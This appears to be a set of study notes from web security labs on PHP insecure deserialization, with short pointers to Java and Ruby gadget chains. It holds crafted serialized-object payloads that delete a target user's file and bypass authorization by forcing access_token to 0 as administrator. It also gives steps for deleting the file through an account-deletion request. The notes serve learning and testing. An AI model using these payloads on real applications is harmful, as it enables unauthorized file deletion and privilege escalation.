Insecure Desarialization
online debugger:
Try to change object ex. for administrator
Insecure deserialization of object - fn that delete file (unlink)
function __destruct() {
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
set access token to integer, and bypass authorization
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
use functionality of the app to delete file
Edit the serialized data so that the avatar_link points to /home/carlos/morale.txt. Remember to update the length indicator. The modified attribute should look like this:
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
Click "Apply changes". The modified object will automatically be re-encoded and updated in the request.
Change the request line to POST /my-account/delete and send the request. Your account will be deleted, along with Carlos's morale.txt file.
phpgcc
replace session cookie inside browser
JAVA Commons
ruby
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
Last updated